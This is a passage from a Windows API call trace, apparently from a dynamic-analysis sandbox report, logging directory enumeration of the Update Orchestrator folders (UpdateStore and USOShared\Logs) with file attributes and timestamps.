lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf99491c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf99491c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.317] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xea3e4964, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xea3e4964, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 1 [0218.318] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.318] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0218.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0218.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0218.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0218.318] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate\\UpdateStore", lpFilePart=0x0) returned 0x29 [0218.318] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\*" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xea3e4964, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xea3e4964, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0218.319] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xea3e4964, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xea3e4964, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.319] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xe9d20fb5, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xea2ffac1, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 1 [0218.319] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.319] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0218.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0218.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0218.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0218.320] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate\\UpdateStore", lpFilePart=0x0) returned 0x29 [0218.320] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\*" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xea3e4964, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xea3e4964, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0218.320] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xea3e4964, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xea3e4964, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.320] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xe9d20fb5, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xea2ffac1, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 1 [0218.320] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xe9d20fb5, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xea2ffac1, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 0 [0218.321] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0218.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0218.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0218.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0218.321] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOShared", lpFilePart=0x0) returned 0x1c [0218.322] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\*" (normalized: "c:\\users\\all users\\usoshared\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0218.322] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.322] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xfcb24d5d, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfcb24d5d, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0218.322] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xfcb24d5d, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfcb24d5d, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 0 [0218.323] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0218.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0218.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0218.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0218.323] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOShared", lpFilePart=0x0) returned 0x1c [0218.323] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\*" (normalized: "c:\\users\\all users\\usoshared\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0218.323] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.323] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xfcb24d5d, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfcb24d5d, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0218.324] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.324] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0218.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0218.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0218.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0218.324] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOShared\\Logs", lpFilePart=0x0) returned 0x21 [0218.324] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\*" (normalized: "c:\\users\\all users\\usoshared\\logs\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xfcb24d5d, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfcb24d5d, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0218.325] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xfcb24d5d, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfcb24d5d, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.325] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xfcb24d5d, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0x112eaaf6, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.001.etl", cAlternateFileName="UP2DAF~1.ETL")) returned 1 [0218.325] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xa26cf0a0, ftLastAccessTime.dwHighDateTime=0x1d99d09, ftLastWriteTime.dwLowDateTime=0xc99ffb8e, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.002.etl", cAlternateFileName="UP3884~1.ETL")) returned 1 [0218.325] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xa88a9a93, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xd008cf7a, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.003.etl", cAlternateFileName="UP8247~1.ETL")) returned 1 [0218.325] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x21c56441, ftLastAccessTime.dwHighDateTime=0x1d9775f, ftLastWriteTime.dwLowDateTime=0x49a419ad, ftLastWriteTime.dwHighDateTime=0x1d9775f, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.004.etl", cAlternateFileName="UPD2FC~1.ETL")) returned 1 [0218.326] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x8c08b661, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb412100a, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.005.etl", cAlternateFileName="UPB784~1.ETL")) returned 1 [0218.326] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xb4f89421, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0xeca50022, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.006.etl", cAlternateFileName="UP7D55~1.ETL")) returned 1 [0218.326] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x60797ea1, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x8857baf6, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.007.etl", cAlternateFileName="UP52FC~1.ETL")) returned 1 [0218.326] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x615d8964, ftLastAccessTime.dwHighDateTime=0x1d8596d, ftLastWriteTime.dwLowDateTime=0x88859575, ftLastWriteTime.dwHighDateTime=0x1d8596d, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.008.etl", cAlternateFileName="UPA721~1.ETL")) returned 1 [0218.326] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x3a5fe900, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x6178db96, ftLastWriteTime.dwHighDateTime=0x1d7b059, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.009.etl", cAlternateFileName="UPFC55~1.ETL")) returned 1 [0218.326] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf801cbae, ftLastAccessTime.dwHighDateTime=0x1d75217, ftLastWriteTime.dwLowDateTime=0x1f56df07, ftLastWriteTime.dwHighDateTime=0x1d75218, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.010.etl", cAlternateFileName="UPB13B~1.ETL")) returned 1 [0218.327] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf98df460, ftLastAccessTime.dwHighDateTime=0x1d705ef, ftLastWriteTime.dwLowDateTime=0x22721e58, ftLastWriteTime.dwHighDateTime=0x1d705f0, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.011.etl", cAlternateFileName="UP076F~1.ETL")) returned 1 [0218.327] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x6fb852ed, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xa05d916a, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.012.etl", cAlternateFileName="UPEBF6~1.ETL")) returned 1 [0218.327] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x46a3d34f, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6df6574e, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.013.etl", cAlternateFileName="UP8DEE~1.ETL")) returned 1 [0218.327] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x95f9994e, ftLastAccessTime.dwHighDateTime=0x1d7046d, ftLastWriteTime.dwLowDateTime=0x95f9994e, ftLastWriteTime.dwHighDateTime=0x1d7046d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.014.etl", cAlternateFileName="UP38BA~1.ETL")) returned 1 [0218.327] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x9ee92c6a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0xc6371102, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.015.etl", cAlternateFileName="UPE286~1.ETL")) returned 1 [0218.327] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xe7e7af85, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe7e7af85, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.016.etl", cAlternateFileName="UPDATE~4.ETL")) returned 1 [0218.328] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x4e8a793e, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4e8a793e, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.017.etl", cAlternateFileName="UPDATE~2.ETL")) returned 1 [0218.328] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0x1d9a4c7e, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.018.etl", cAlternateFileName="UPDATE~1.ETL")) returned 1 [0218.328] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7b0d97d, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xa689893c, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xac9249a5, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.001.etl", cAlternateFileName="UP654C~1.ETL")) returned 1 [0218.328] FindNextFileW (in: 